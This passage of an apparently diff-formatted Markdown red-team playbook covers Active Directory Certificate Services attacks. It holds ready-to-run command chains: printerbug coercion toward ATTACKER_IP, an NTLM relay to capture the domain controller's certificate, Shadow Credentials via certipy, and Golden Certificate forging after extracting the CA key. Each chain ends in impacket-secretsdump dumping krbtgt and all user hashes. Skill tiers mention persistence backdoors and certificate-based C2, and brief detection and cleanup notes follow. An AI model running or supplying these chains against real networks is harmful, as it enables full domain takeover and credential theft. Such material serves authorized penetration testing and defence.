python3 printerbug.py corp.local/lowpriv:Password1@DC_IP ATTACKER_IP
|
|
291
|
+
|
|
292
|
+
# Step 4 — relay captures DC$ machine cert
|
|
293
|
+
# ntlmrelayx output: DC$@corp.local.pfx
|
|
294
|
+
|
|
295
|
+
# Step 5 — use DC machine cert to get TGT → DCSync
|
|
296
|
+
certipy auth -pfx 'DC$@corp.local.pfx' -dc-ip 10.10.10.1
|
|
297
|
+
# Gets NT hash of DC machine account
|
|
298
|
+
|
|
299
|
+
# Step 6 — DCSync with machine account hash
|
|
300
|
+
impacket-secretsdump -hashes :MACHINE_HASH 'corp.local/DC$@10.10.10.1'
|
|
301
|
+
# Full domain dump: krbtgt, all user hashes
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
## Shadow Credentials via msDS-KeyCredentialLink (ADCS Alternative)
|
|
307
|
+
|
|
308
|
+
**Condition:** Write access to target object's `msDS-KeyCredentialLink` attribute
|
|
309
|
+
|
|
310
|
+
**Impact:** Authenticate as target without knowing their password
|
|
311
|
+
|
|
312
|
+
```bash
|
|
313
|
+
# Certipy shadow — add shadow credential to target account
|
|
314
|
+
certipy shadow auto -u 'lowpriv@corp.local' -p 'Password1' \
|
|
315
|
+
-account 'targetuser' \
|
|
316
|
+
-dc-ip 10.10.10.1
|
|
317
|
+
|
|
318
|
+
# Output: targetuser.pfx + NT hash of targetuser
|
|
319
|
+
|
|
320
|
+
# If targeting DC machine account (requires WriteDacl on DC object)
|
|
321
|
+
certipy shadow auto -u 'lowpriv@corp.local' -p 'Password1' \
|
|
322
|
+
-account 'DC$' \
|
|
323
|
+
-dc-ip 10.10.10.1
|
|
324
|
+
|
|
325
|
+
certipy auth -pfx 'DC$.pfx' -dc-ip 10.10.10.1
|
|
326
|
+
impacket-secretsdump -hashes :DC_HASH 'corp.local/DC$@10.10.10.1'
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
---
|
|
330
|
+
|
|
331
|
+
## Golden Certificate (Forge Any Certificate After CA Compromise)
|
|
332
|
+
|
|
333
|
+
```bash
|
|
334
|
+
# After owning CA server — extract CA private key
|
|
335
|
+
certipy ca -backup -u 'administrator@corp.local' -p 'Password1' \
|
|
336
|
+
-ca 'CORP-CA' \
|
|
337
|
+
-dc-ip 10.10.10.1
|
|
338
|
+
# Output: CORP-CA.pfx (CA cert + private key)
|
|
339
|
+
|
|
340
|
+
# Forge certificate as any user — offline, no CA needed
|
|
341
|
+
certipy forge -ca-pfx CORP-CA.pfx \
|
|
342
|
+
-upn 'administrator@corp.local' \
|
|
343
|
+
-subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
|
|
344
|
+
|
|
345
|
+
certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.10.1
|
|
346
|
+
```
|
|
347
|
+
|
|
348
|
+
---
|
|
349
|
+
|
|
350
|
+
## Skill Levels
|
|
351
|
+
|
|
352
|
+
**BEGINNER:**
|
|
353
|
+
- Run `certipy find -vulnerable` → identify ESC1 templates
|
|
354
|
+
- Follow ESC1 path: req → auth → PTH
|
|
355
|
+
|
|
356
|
+
**INTERMEDIATE:**
|
|
357
|
+
- ESC4 template modification
|
|
358
|
+
- ESC8 relay chain (PetitPotam + ntlmrelayx + certipy auth)
|
|
359
|
+
- Shadow Credentials via BloodHound-identified WriteDacl paths
|
|
360
|
+
|
|
361
|
+
**ADVANCED:**
|
|
362
|
+
- ESC3 enrollment agent chains
|
|
363
|
+
- ESC7 CA permission abuse
|
|
364
|
+
- Golden Certificate after CA key extraction
|
|
365
|
+
|
|
366
|
+
**EXPERT:**
|
|
367
|
+
- Chaining ADCS with other misconfigs (RBCD + ADCS, ACL + ADCS)
|
|
368
|
+
- Cross-forest ADCS attacks
|
|
369
|
+
- ADCS persistence via template backdoors
|
|
370
|
+
- Certificate-based C2 (authenticating beacons via certs)
|
|
371
|
+
|
|
372
|
+
---
|
|
373
|
+
|
|
374
|
+
## Detection & Cleanup Notes
|
|
375
|
+
|
|
376
|
+
```
|
|
377
|
+
Artifacts created:
|
|
378
|
+
- Certificate enrollment events: Event ID 4886 (cert requested), 4887 (issued)
|
|
379
|
+
- Location: CA audit logs (if enabled — often NOT enabled by default)
|
|
380
|
+
- LDAP query for vulnerable templates: logged in LDAP query logs
|
|
381
|
+
|
|
382
|
+
Cleanup:
|
|
383
|
+
- Revoke issued certificates: certipy ca -revoke -serial <serial>
|
|
384
|
+
- Restore modified templates: certipy template -configuration saved.json
|
|
385
|
+
- Remove added shadow credentials: certipy shadow remove -account target
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
---
|
|
389
|
+
|
|
390
|
+
## References
|
|
391
|
+
|
|
392
|
+
- SpecterOps "Certified Pre-Owned": https://posts.specterops.io/certified-pre-owned-d95910965cd2
|
|
393
|
+
- Certipy: https://github.com/ly4k/Certipy
|
|
394
|
+
- Certify: https://github.com/GhostPack/Certify
|
|
395
|
+
- ADCS ESC Techniques: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates
|